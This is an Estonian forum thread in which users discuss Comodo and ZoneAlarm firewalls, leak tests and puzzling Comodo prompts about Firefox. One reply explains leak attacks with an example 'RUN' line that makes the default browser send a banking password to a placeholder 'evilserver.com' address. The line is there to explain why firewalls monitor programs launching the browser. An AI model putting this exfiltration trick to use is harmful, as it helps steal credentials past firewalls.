[Märt.]

Eks ma homme vaatan, poiss juba magab, aga peaks olema ajakohane.

[HacaX]

IMO siiski päris paranoiliseks ei tasu kah minna. Turvalisus põhineb niikuinii usaldusel - et antiviirus tõesti otsib viiruseid mitte ei näita lihtsalt ajaviiteks neid ulmelisi numbreid, et tulemüür ei sisalda backdoor'i, jne. Ainus loogiline samm oleks vaid iseennast usaldada ning kõik kaitsevahendid ise kirjutada, aga ega's seegi ideaalne lahendus ole - pole mingit garantiid et kogemata mingit auku pole sisse unustanud või et opsüsteem ise mingit säärast lutikat ei sisalda mille vahendusel kaitsest igasuguse probleemita mööda...
Milleni ma üritan välja jõuda: testid, eriti leaktestide omad, ei ole midagi mida aboluutse alusena võtta. Oma peamist funktsiooni - peatada väljastpoolt tulevaid ühendusi - täidavad kõik müürid edukalt. Väljamineva liiklusega tulevad enamus samuti mingil määral toime. Seega peaksin isiklikult keskmise kodukasutaja seisukohast vaadates määravaimaks just müüri kasutajaliidese väljanägemist ning mugavust, seda kui hästi need mingi konkreetse tarbija harjumuste/maitsega kokku sobivad. Ja kui kukubki müür mõnest testist läbi, kah asi! Vähemalt on tõenäosus, et kasutaja ei hoia planku poole ajast unloadituna kuna see häirib tema tegemisi ning teise poole vaid osalise kontrollimisega töös, märgatavalt väiksem kui müüri puhul mis tehniliselt võib parem olla aga mida kasutaja tegelikult ei seedi.

[angel]

ma lihtsalt loodan et kui mingi programm juba teatud aja eksisteerib siis mingid tondid ikka leiavad midagi ebameeldivat ülesse selle juures kui seda on... kuida muidu siis see ZA vahele jäi oma värgiga (ise suht vihkan seda ZA juba, sai korra trial värki proovitud ja värdjas keeras kõik piixu )

[mikk36]

[angel]

endal igatahes seni kõik toimib...

to mikk36: mis tulemüüri siis kasutad kui comodo'ga läbi ei saa?

[mikk36]

hetkel ei miskit, pole probleemi

[ykshuntka]

Olen kasutanud sügisest saati Comodo tulemüüri 900mh Celeronil.
Küsib minule arusaamatuid küsimusi! Nt *.dll kasutamine Firefoxis
Kui keelata, siis Firefox ei pääse netti. Milleks küsida, kui ma ei sa EI vastata?
Programmide kasutamisel või peale kasutamist Firefoxi käivitamisel viskab seda küsimust.Nt OpenOffice mingi dll
Kas Firefox on tõesti muudetav teiste programmide poolt?
Viimane Comodo tulemüüri küsimus, millele minul puudub seisukoht:

RocketDock.exe on XP to Vista välimuse oma. Aga kas tõesti läheb läbi FireFoxi netti?
Kui minul puuduks tulemüür, siis need läheksid netti?
Hetkel ma saan teada tänu Comodole, et võivad minna netti, aga midagi teha ka ei saa?

[HacaX]

RocketDock käivitas FFi, kogu moos. Ega selleks, et inffi välja saata, ei pea ise võrku minema. Piisab näiteks lihtsast "RUN http://evilserver.com/stolenpasswords?=SEE+ON+PAROOL+MILLE+MA+HANSAPANGA+LEHEL+KINNI+PUUDSIN" reast et su brauserit andmete väljaviimiseks ära kasutada (Win käivitab sellise rea peale süsteemis vaikimisi registreeritud brauseri, ning nüüd pruugib Evilserver.com jooksutaja vaid silma peal hoida oma masinas jooksval "stolenpasswords" skripti väljundil). Just seda nimetataksegi lekkimiseks, s.t. pahalane ei roni ise netti (mille peale *iga* väljaminevat liiklust kontrolliv müür ta kinni peaks) vaid kasutab selleks teisi programme (millel võrguõigused olemas). Säärase asja vastu *peabki* üks õige tulemüür kaitsma.

Mida saad küsimise vähendamiseks teha on paika panna kes võivad brausereid/FTP kliente/jms käivitada (shell (reeglina Explorer.exe, aga ka alternatiivsed aknahaldurid a'la AstonShell ja LiteStep) on peamine mis seda teeb, failihaldurid (Total Commander) kah kui nende vahendusel programme tööle lased) ja ennast harjutama linke jms. mitte klõpsima progedes kellel muidu võrku asja ei ole (näiteks paljud programmid sisaldavad oma Help=>About kastis koduka aadressi - sellel klõpsimine on opsüsteemi seisukohast sama nagu oleks programm ise brauseri tööle lasknud).

[Silver112]

[ykshuntka]